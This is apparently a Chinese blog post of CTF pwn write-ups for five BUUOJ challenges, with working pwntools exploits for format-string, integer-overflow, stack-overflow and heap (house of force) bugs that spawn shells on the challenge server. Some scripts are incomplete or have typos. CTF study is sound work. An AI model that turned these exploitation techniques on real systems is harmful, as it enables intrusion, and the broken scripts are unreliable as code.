buuoj Pwn writeup 151-155

原创

yongbaoii 于 2021-05-28 11:08:20 发布 134 收藏

分类专栏： CTF 文章标签： 安全

本文链接：https://blog.csdn.net/yongbaoii/article/details/117088506

151 ciscn_2019_sw_1

```
RELRO           STACK CANARY      NX            PIE           RPATH      RUNPATH      Symbols       FORTIFY Fortified      Fortifiable  FILE
No RELRO        No canary found   NX enabled    No PIE        No RPATH   No RUNPATH   77 Symbols    No      0              2            ./151
```

保护

要注意到的是RELRO一点没开，这意味着.fini_array是可以覆盖的。

```
char format[68]; // [esp+0h] [ebp-48h] BYREF

setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
puts("Welcome to my ctf! What's your name?");
__isoc99_scanf("%64s", format);
printf("Hello ");
printf(format);
return 0;
```


栈上的格式化字符串。

```
int sys()
{
  return system(command);
}
```

system也有了。

printf只能用一次，但是我们前面说.fini_array可以覆盖，所以我们第一次先覆盖它为main，制造循环，然后劫持scanf的got表，进行利用就好。

要注意的是在我们覆盖.fini_array的意思是在返回的时候以此调用里面的函数，而这个题.fini_array数组只有一个数组，所以我们只能通过它来返回一次main函数，所以我们一共有两次printf的机会，所以要在第一次的时候就都改好。

还要注意的是当我们使用pwntools的模板的时候要注意，我们正常的使用方法会让我们的payload太长，所以我们有两种方法解决这个事情，第一个是后面加
write_size='int'，第二种就是自己去算去写。

exp

```
from pwn import *

context.log_level = "debug"

#r = process("./151")
r = remote('node3.buuoj.cn',27979)
elf = ELF('151')

main_addr = elf.sym['main']
fini_addr = 0x804979c
printf_got = elf.got['printf']
system_addr = elf.plt['system']

sys_high = (system_addr >> 16) & 0xffff
sys_low = (system_addr) & 0xffff
main_low = (main_addr) & 0xffff

print hex(sys_high)
print hex(sys_low)
print hex(main_low)

payload = "%" + str(sys_high) + "c%13$hn"
payload += "%" + str(sys_low - sys_high) + "c%14$hn"
payload += "%" + str(main_low - sys_low) +"c%15$hn"
payload += p32(printf_got + 2) + p32(printf_got) + p32(fini_addr)
r.sendlineafter("Welcome to my ctf! What's your name?", payload)

r.sendlineafter("Welcome to my ctf! What's your name?", "/bin/sh\x00")

r.interactive()
```

152 hgame2018_flag_server

```
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols       FORTIFY Fortified      Fortifiable  FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   87 Symbols    Yes     0              6            ./152
```

```
v5 = 0;
printf("your username length: ");
__isoc99_scanf("%d", &v5);
while ( v5 > 63 || !v5 )
{
  puts("sorry,your username is too LOOOOOOOOONG~~\nplease input again.\n");
  printf("your username length: ");
  while ( getchar() != 10 )
    ;
  __isoc99_scanf("%d", &v5);
}
puts("whats your username?");
read_n(s1, v5);
if ( !strcmp(s1, "admin") )
{
  v3 = time(0);
  srand(v3);
```


目标是让v10有东西，于是就开始找溢出点。

```
int __cdecl read_n(int a1, int a2)
{
  int i; // [esp+Ch] [ebp-Ch]

  for ( i = 0; i != a2; ++i )
  {
    if ( read(0, (void *)(a1 + i), 1u) != 1 )
      exit(-1);
    if ( *(_BYTE *)(a1 + i) == 10 )
    {
      *(_BYTE *)(a1 + i) = 0;
      return i;
    }
  }
  return i;
}
```


最后找到了整数溢出。

```python
from pwn import *

context.log_level = "debug"

r = remote("node3.buuoj.cn",26497)

r.sendlineafter('your username length: ','-1')
payload = 'a' * 65

r.sendlineafter('whats your username?\n',payload)
r.interactive()
```

153 hfctf_2020_marksman

```
wuangwuang@wuangwuang-PC:~/Desktop$ checksec -f ./153
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols       FORTIFY Fortified      Fortifiable  FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   No Symbols       Yes    0              2            ./153
```

```
v8 = __readfsqword(0x28u);
sub_9BA(a1, a2, a3);
sub_A55();
puts("Free shooting games! Three bullets available!");
printf("I placed the target near: %p\n", &puts);
puts("shoot!shoot!");
v6 = sub_B78();
for ( i = 0; i <= 2; ++i )
{
  puts("biang!");
  read(0, &v7[i], 1uLL);
  getchar();
}
if ( (unsigned int)sub_BC2(v7) )
{
  for ( j = 0; j <= 2; ++j )
    *(_BYTE *)(j + v6) = v7[j];
}
if ( !dlopen(0LL, 1) )
  exit(1);
puts("bye~");
return 0LL;
```


分析程序 开场直接给了puts函数地址，我们直接能得到libc地址。
然后程序允许我们开三枪，也就是找个地方改三个字节。

因为我们可以得到libc的地址，所以我们的思路是通过劫持libc内的got表，来get shell。
libc内部也有延迟绑定机制，我们考虑puts函数，puts函数内部会电泳strlen函数，所以我们劫持libc内的strlen的got表，但是打不通，因为one_gadget的条件我们一个满足不了。

```
  0x7fb6f274069f <execvpe+527>          lea    rdi, [rip + 0xce7f4]
  0x7fb6f27406a6 <execvpe+534>          mov    rdx, r12
  0x7fb6f27406a9 <execvpe+537>          mov    rsi, r14
▶ 0x7fb6f27406ac <execvpe+540>          call   execve <execve>
      path: 0x7fb6f280ee9a ◂— 0x68732f6e69622f /* '/bin/sh' */
      argv: 0x0
      envp: 0x564b4fab4168 ◂— 0x7e657962 /* 'bye~' */

  0x7fb6f27406b1 <execvpe+545>          mov    rsp, r13
  0x7fb6f27406b4 <execvpe+548>          jmp    execvpe+94 <execvpe+94>
```


于是我们看向另外一个函数，dl_open，里面有调用libc函数的地方，就是这个_dl_catch_error，于是我们劫持他的got表，便可以getshell。

```
▶ 0x7fcb42fe6070 <_dl_catch_error@plt>              jmp    qword ptr [rip + 0x2fc2] <0x7fcb42fe9038>

  0x7fcb42fe6076 <_dl_catch_error@plt+6>            push   4
  0x7fcb42fe607b <_dl_catch_error@plt+11>           jmp    0x7fcb42fe6020 <0x7fcb42fe6020>
   ↓
  0x7fcb42fe6020                                    push   qword ptr [rip + 0x2fe2] <0x7fcb42fe9008>
  0x7fcb42fe6026                                    jmp    qword ptr [rip + 0x2fe4] <_dl_runtime_resolve_xsave>
   ↓
  0x7fcb42dfb6d0 <_dl_runtime_resolve_xsave>        push   rbx
  0x7fcb42dfb6d1 <_dl_runtime_resolve_xsave+1>      mov    rbx, rsp
  0x7fcb42dfb6d4 <_dl_runtime_resolve_xsave+4>      and    rsp, 0xfffffffffffffc0
  0x7fcb42dfb6d8 <_dl_runtime_resolve_xsave+8>      sub    rsp, qword ptr [rip + 0x210129] <0x7fcb4300b808>
  0x7fcb42dfb6df <_dl_runtime_resolve_xsave+15>     mov    qword ptr [rsp], rax
  0x7fcb42dfb6e3 <_dl_runtime_resolve_xsave+19>     mov    qword ptr [rsp + 8], rcx
```


但是这个题远程环境有问题，本地过了远程过不了……

```python
from pwn import *

context.log_level='debug'

r = remote("node3.buuoj.cn",28549)
#p = process("./153")
libc=ELF('./64/libc-2.27.so')

r.recvuntil('0x')
puts_addr=int(r.recvuntil('\n',drop=True),16)
success('puts addr: '+hex(puts_addr))

libc_base=puts_addr-libc.sym['puts']
print hex(libc_base)
one=[0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a38c,0x10a398]
one_gadget=one[2]+libc_base

target=libc_base+0x5f6038

shoot=one_gadget&0xffffff
r.sendlineafter('shoot!shoot!\n',str(target))
r.sendlineafter('biang!\n',p8(shoot&0xff))
r.sendlineafter('biang!\n',p8((shoot>>8)&0xff))
r.sendlineafter('biang!\n',p8((shoot>>16)&0xff))

r.sendline("cat flag")
r.interactive(
```

154 gwctf_2019_easy_pwn

```
RELRO           STACK CANARY      NX            PIE           RPATH      RUNPATH      Symbols       FORTIFY Fortified      Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    No PIE        No RPATH   No RUNPATH   No Symbols      No      0              4            ./154
```

C++写的一个程序，在往s中read的时候大小没有问题，但是程序在下面会将字符"I"替换成"pretty"，最后会strcpy然后发生了溢出，没有PIE和canary直接利用即可。

```
read(0, s, 0x20u);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator=(&unk_804C0CC, &unk_804A070);// 清零
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator+=(&unk_804C0CC, s);// s写到bss
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(v8, &unk_804C0E4);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(v9, &unk_804C0CC);
sub_8048F8B((int)v6, (int)v9, (int)v8);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v9);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v8);
if ( (unsigned int)sub_8049556(v6) > 1 )
{
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator=(&unk_804C0CC, &unk_804A070);
  v0 = sub_8049576(v6, 0);
  if ( (unsigned __int8)sub_804958E(v0, (int)&unk_804A070) )
  {
    v1 = sub_8049576(v6, 0);
    std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator+=(&unk_804C0CC, v1);
  }
  for ( i = 1; ; ++i )
  {
    v2 = sub_8049556(v6);
    if ( v2 <= i )
      break;
    std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator+=(&unk_804C0CC, "pretty");
    v3 = sub_8049576(v6, i);
    std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator+=(&unk_804C0CC, v3);
  }
}
v4 = (const char *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(&unk_804C0CC);
strcpy(s, v4);
printf("Bye!%s", s);
```



```
from pwn import *

r = remote('node3.buuoj.cn','29825')

elf = ELF("./154")
libc = ELF("./32/libc-2.23.so")

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.sym['main']
payload 1 = 'I' * 16 + p32(puts_plt) + p32(main) + p32(puts_got)
r.send(payload)
r.recvuntil('pretty'*16)
r.recv(12)
puts_add=u32(r.recv(4))
libc_base = puts_addr - libc.sym['puts']
one_gadget = libc_base +

payload='I'*16 + p32(one_gadget)
r.send(payload)

r.interactive()
```

155 bctf2016_bcloud

```
RELRO           STACK CANARY      NX           PIE          RPATH      RUNPATH      Symbols       FORTIFY Fortified      Fortifiable  FILE
Partial RELRO   Canary found      NX enabled   No PIE       No RPATH   No RUNPATH   No Symbols     Yes    0               4            ./155
```

pie没有 要注意RELRO也没都开，有劫持got表的机会。

漏洞点在于最开始的地方，输入name的时候，由于malloc是在输入之后，因此，v2处s的‘\x0’截断字符会被覆盖为堆指针，从而strcpy的时候把堆指针的值也复制进去，造成了堆地址泄露。

另一个漏洞也在那里，可以造成top chunk的size被修改为v3的值。

剩下的地方没有漏洞，我也就没有贴出来。
所以我们会发现有两个漏洞点，第一个我们可以修改top_chunk的size位，第二个我们申请道德chunk大小随便，所以就直接想到的是house of force。

我们下面利用方法是采取的大佬的利用思路，修改top_chunk的size位之后因为没有开pie，所以我们可以直接top_chunk拉到bss上面，然后做到一个unlink的一个操作。

```python
from pwn import *

r = remote('node3.buuoj.cn',27139)
elf = ELF('./155')
libc = ELF("./32/libc-2.23.so")

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
free_got = elf.got['free']

heap_array_addr = 0x0804B120
r.sendafter('Input your name:','a'*0x40)
r.recvuntil('a'*0x40)
heap_addr = u32(r.recv(4))

r.sendafter('Org:','a'*0x40)

r.sendlineafter('Host:',p32(0xFFFFFFFF))
top_chunk_addr = heap_addr + 0xD0

def add(size,content):
   r.sendlineafter('option--->>','1')
   r.sendlineafter('Input the length of the note content:',str(size))
   r.sendafter('Input the content:',content)

def edit(index,content):
   r.sendlineafter('option--->>','3')
   r.sendlineafter('Input the id:',str(index))
   r.sendafter('Input the new content:',content)

def delete(index):
   r.sendlineafter('option--->>','4')
   r.sendlineafter('Input the id:',str(index))

offset = heap_array_addr - top_chunk_addr - 0x10
add(offset,'') #0
add(0x18,'\n') #1

edit(1,p32(0) + p32(free_got) + p32(puts_got) + p32(0x0804B130) + '/bin/sh\x00')
edit(1,p32(puts_plt) + '\n')
delete(2)
r.recv(1)
puts_addr = u32(r.recv(4))

libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']

edit(1,p32(system_addr) + '\n')

delete(3)

r.interactive()
```

我们也可以用另外一种更加普遍的方式，在我们的另外一道题**gyctf_2020_force**中，开启了pie，我们的利用方式是先通过mmap的机制泄露libc地址，即我们先申请一个非常大的chunk，系统会调用mmap申请一个libc之下的chunk，然后获得chunk地址，通过一定差值，获取libc地址。然后把top_chunk拉到malloc_hook处，然后直接进行利用就可以了。